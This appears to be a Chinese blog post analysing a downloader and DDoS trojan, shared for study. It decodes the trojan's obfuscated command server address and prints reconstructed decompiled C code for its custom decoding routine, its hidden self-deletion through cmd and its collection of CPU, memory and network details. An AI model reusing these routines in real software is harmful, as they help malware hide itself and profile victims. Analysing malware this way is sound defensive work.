By: DeathMemory
QQ: 123951548

前言

近期简单分析了一个下载者+DDos的病毒,还原了一些代码,把大家感兴趣的部分分享出来,仅供学习研究。大神请跳过。

病毒执行流程

整体流程

监控服务

服务开启后,病毒会循环尝试开启线程,获取系统信息,连接远程地址。
远程地址是 Base64(算法处理(URL:port)) -> 1NTUHdvi4NgKCh3V2tMJEhcQEEM=
解密后为:www.hack99.vip:1433

建立 socket 后就发送获取的系统信息,并开始接收返回命令。
根本返回执行相关指令,预置命令是 DDOS 相关代码。

代码还原

Base64 解密处理

int __cdecl customDecode(char *Str)
{int len; // [sp+0h] [bp-Ch]@1int i; // [sp+4h] [bp-8h]@1int outBuff; // [sp+8h] [bp-4h]@1outBuff = 0;len = base64_decode(Str, &outBuff);for ( i = 0; i < len; ++i ){*(i + outBuff) += 56;*(i + outBuff) ^= 123u;}return outBuff;
}

自删除完整流程

signed int deleteSelf()
{HMODULE hKERNEL32; // eax@1HANDLE hProc; // eax@2HANDLE hThread; // eax@2signed int result; // eax@2CHAR cmdPath[260]; // [sp+Ch] [bp-354h]@1char cmdDeleteSelf[260]; // [sp+110h] [bp-250h]@1CHAR Filename[260]; // [sp+214h] [bp-14Ch]@1SHELLEXECUTEINFOA exeInfo; // [sp+318h] [bp-48h]@1FARPROC lstrcatA; // [sp+354h] [bp-Ch]@1char aOpen[5]; // [sp+358h] [bp-8h]@1hKERNEL32 = LoadLibraryA("KERNEL32.dll");lstrcatA = GetProcAddress(hKERNEL32, "lstrcatA");Filename[0] = 0;memset(&Filename[1], 0, 0x100u);*&Filename[257] = 0;Filename[259] = 0;cmdPath[0] = 0;memset(&cmdPath[1], 0, 0x100u);*&cmdPath[257] = 0;cmdPath[259] = 0;cmdDeleteSelf[0] = 0;memset(&cmdDeleteSelf[1], 0, 0x100u);*&cmdDeleteSelf[257] = 0;cmdDeleteSelf[259] = 0;GetModuleFileNameA(0, Filename, 0x104u);GetShortPathNameA(Filename, Filename, 0x104u);// 转换成短形式路径GetEnvironmentVariableA("COMSPEC", cmdPath, 0x104u);// 从调用该函数的进程的环境变量中返回指定的变量名值的函数// 获取 cmd 绝对路径(lstrcatA)(cmdDeleteSelf, "/c del ");(lstrcatA)(cmdDeleteSelf, Filename);(lstrcatA)(cmdDeleteSelf, " > nul");      // 调用 cmd 删除自身exeInfo.lpVerb = aOpen;exeInfo.lpFile = cmdPath;exeInfo.cbSize = 60;exeInfo.hwnd = 0;aOpen[0] = 79;                                // OpenaOpen[1] = 112;aOpen[2] = 101;aOpen[3] = 110;aOpen[4] = 0;exeInfo.lpParameters = cmdDeleteSelf;exeInfo.lpDirectory = 0;exeInfo.nShow = 0;exeInfo.fMask = 0x40;if ( ShellExecuteExA(&exeInfo) )              // 执行自删除{SetPriorityClass(exeInfo.hProcess, 0x40u);  // IDLE_PRIORITY_CLASS 只有当系统空闲时再执行hProc = GetCurrentProcess();SetPriorityClass(hProc, 0x100u);            // REALTIME_PRIORITY_CLASShThread = GetCurrentThread();SetThreadPriority(hThread, 0xF);            // THREAD_PRIORITY_TIME_CRITICAL 设置优先级SHChangeNotify(4, 1u, Filename, 0);result = 1;}else{result = 0;}return result;
}

系统信息收集

  1. 获取语言
    使用 GetSystemDefaultUILanguage 获取语言
  2. 获取 CPU Hz
    通过注册表:"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"~MHz读取其键值。
  3. 获取内存
    使用 GlobalMemoryStatusEx API 获取
  4. 获取网卡配置和Ip地址信息
    使用 GetAdaptersInfo 循环获取网卡信息
  lstrcpyA(regHardwareDes, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0");if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE, regHardwareDes, 0, KEY_ALL_ACCESS, &phkResult) ){Find_CPU_Error[0] = 70;                     // Find CPU ErrorFind_CPU_Error[1] = 105;Find_CPU_Error[2] = 110;Find_CPU_Error[3] = 100;Find_CPU_Error[4] = 32;Find_CPU_Error[5] = 67;Find_CPU_Error[6] = 80;Find_CPU_Error[7] = 85;Find_CPU_Error[8] = 32;Find_CPU_Error[9] = 69;Find_CPU_Error[10] = 114;Find_CPU_Error[11] = 114;Find_CPU_Error[12] = 111;Find_CPU_Error[13] = 114;Find_CPU_Error[14] = 0;strcpy(storeBuff + 100, Find_CPU_Error);}else{Type = 4;cbData = 200;RegQueryValueExA(phkResult, "~MHz", 0, &Type, Data, &cbData);(RegCloseKey)(phkResult);GetSystemInfo(&SystemInfo);memset(&Dst, 0, 0xAu);MHz[0] = 77;MHz[1] = 72;MHz[2] = 122;MHz[3] = 0;sprintf(&Dst, "%d*%u%s", SystemInfo.dwNumberOfProcessors, *Data, MHz);strcpy(storeBuff + 100, &Dst);}memStatus.dwLength = 64;GlobalMemoryStatusEx(&memStatus);mb = memStatus.ullTotalPhys / 1024 / 1024;    // 获取内存mb_p = mb + 1;wsprintfA(storeBuff + 68, "%u MB", mb + 1, ((mb + 1) >> 32));SizePointer = 0;AdapterInfo = malloc(0x280u);if ( GetAdaptersInfo(AdapterInfo, &SizePointer) == ERROR_BUFFER_OVERFLOW ){free(AdapterInfo);AdapterInfo = malloc(SizePointer);          // 如果内存不够则重新 malloc}if ( !GetAdaptersInfo(AdapterInfo, &SizePointer) )// 获取网卡配置和Ip地址信息{while ( AdapterInfo ){if ( strcmp(AdapterInfo->GatewayList.IpAddress.String, "0.0.0.0") ){pIfTable = 0;pdwSize = 0;v11 = 0;sRes = GetIfTable(0, &pdwSize, 1);if ( sRes == ERROR_INSUFFICIENT_BUFFER ){pIfTable = operator new(pdwSize);if ( pIfTable ){sRes = GetIfTable(pIfTable, &pdwSize, 1);if ( !sRes ){for ( i = 0; i < pIfTable->dwNumEntries; ++i ){if ( pIfTable->table[i].dwOperStatus&& pIfTable->table[i].dwAdminStatus != IF_OPER_STATUS_DISCONNECTED&& pIfTable->table[i].dwIndex == AdapterInfo->Index ){nSpeed = pIfTable->table[i].dwSpeed / 1000 / 1000;if ( nSpeed < 1000 ){sprintf(&aSpeed, "%u Mbps", nSpeed);// 获取网速strcpy(storeBuff + 132, &aSpeed);}else{sprintf(&aSpeed, "%u Gbps", nSpeed / 0x3E8);strcpy(storeBuff + 132, &aSpeed);}}}}operator delete(pIfTable);}}}AdapterInfo = AdapterInfo->Next;}}

Win32.Rootkit.Lapka.Wozw 木马病毒分析相关推荐

  1. 一个感染型木马病毒分析(二)

    作者:龙飞雪 0x1序言 前面已经对感染型木马病毒resvr.exe的病毒行为进行了具体的分析见一个感染型木马病毒分析(一),但是觉得还不够,不把这个感染型木马病毒的行为的亮点进行分析一下就有点遗憾了 ...

  2. 一个感染型木马病毒分析(一)

    一. 样本信息 样本名称:resvr.exe(病毒母体) 样本大小:70144 字节 病毒名称:Trojan.Win32.Crypmodadv.a 样本MD5:5E63F3294520B7C07EB4 ...

  3. 感染性的木马病毒分析之样本KWSUpreport.exe

    一.病毒样本简述 初次拿到样本 KWSUpreport_感染.exe.v 文件,通过使用PE工具,并不能辨别出该样本是那种感染类型,使用了一个比较直接的方法,从网上查资料,获取到了该样本的正常EXE文 ...

  4. 5-Web安全——php木马后门分析(入侵溯源)

    由于最近在学习入侵溯源和应急响应这块的知识,本着先理论再实践的原则,应用现有所学的知识自己动手分析一个php大马. 先随便从网上下载一个php大马,扔到虚拟机里打开,得到如下信息: 看到上面有一大串乱 ...

  5. Trojan.DL.Win32.Hmir.hl的清除方法 采用驱动提供服务的木马病毒

    1.通过瑞星查毒发现c:\windows\system32\30pzg8d.dll文件感染Trojan.DL.Win32.Hmir.hl但是删除不了,只好通过冰刃icesword强制删除. 3.删除后 ...

  6. Net-Worm.Win32.Kido.ih蠕虫病毒分析+专杀工具源代码+手工清除全过程

    Net-Worm.Win32.Kido.ih蠕虫病毒分析+专杀工具源代码+手工清除全过程                                                         ...

  7. Rootkit 之 adore-ng 模拟木马病毒

    Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件.进程和网络链接等信息,比较多见到的是Rootkit一般都和木马.后门等其他恶意程序结合使用. 在我们生活中,经常看的电视 ...

  8. 一个简单的Android木马病毒的分析

    一.样本信息 文件名称: 一个安卓病毒木马.apk 文件大小:242867 byte 文件类型:application/jar 病毒名称:Android.Trojan.SMSSend.KS 样本MD5 ...

  9. 病毒分析之“驱动人生”挖矿木马分析及其清除方案

    "驱动人生"挖矿木马分析及其清除方案 0x00 概述 自2018年12月份"驱动人生"挖矿木马爆发以来,此木马一直处于活跃状态,更新版本更是达到了20+次.此木 ...

最新文章

  1. 【转载】WinCE OAL架构分析
  2. 利用计算思维解决问题人和计算机都能完成,第1课计算机与计算思维.ppt
  3. Process Hacker 一个系统监视工具
  4. Saleor ran into an unexpected problem
  5. Centos7下python2.x 和python3.x共存
  6. linux nfs 无法写入,无法写入挂载点(nfs-server),获得“权限被拒绝”
  7. word List 45
  8. 【算法训练】DAY1:整数反转
  9. 安卓逆向_24( 一 ) --- Hook 框架 frida( Hook Java层 和 so层) )
  10. python入门之装饰器
  11. android评论数据如何返回@用户_教你如何用JavaScript来驯服服务端返回的数据
  12. MFC工作笔记0005---::在vc++中是什么意思
  13. 资源丨2200万室内场景数据集,包含语义、全景、灯光等十余种效果
  14. signature=e5535ff98b93aa63c455611822dc57c2,高校新生预激综合征6例报告
  15. 【PAT乙】1033 旧键盘打字 (20分) 字符串
  16. 无参考图像质量评价——漏勺模型
  17. 哪个大学开python课_2017春Python语言程序设计(天津大学仁爱学院)
  18. 玩转docker之mysql容器(常见问题汇总-续更)
  19. 豆瓣的robots内容分析
  20. Linux下socket编程:TCP连接

热门文章

  1. Opencv3.0 手写数字识别(Hog特征+SVM分类器)
  2. 二道题:分组顺序向下填充 和 标注数据整理
  3. 六度分离 (folyd算法)
  4. css实现弧线,CSS3 彩虹弧线太极波动图
  5. Tableau 圆柱条形图的两种实现方法
  6. 一个简单的在线md5验证工具的实现
  7. python_torch_加载数据集_构建模型_构建训练循环_保存和调用训练好的模型
  8. 申请阿里云免费版SSL证书并配置在宝塔Nginx上
  9. 1.7编程基础字符串11潜伏者
  10. 民航计算机初级职称有哪些,各系列专业职称资格分类一览表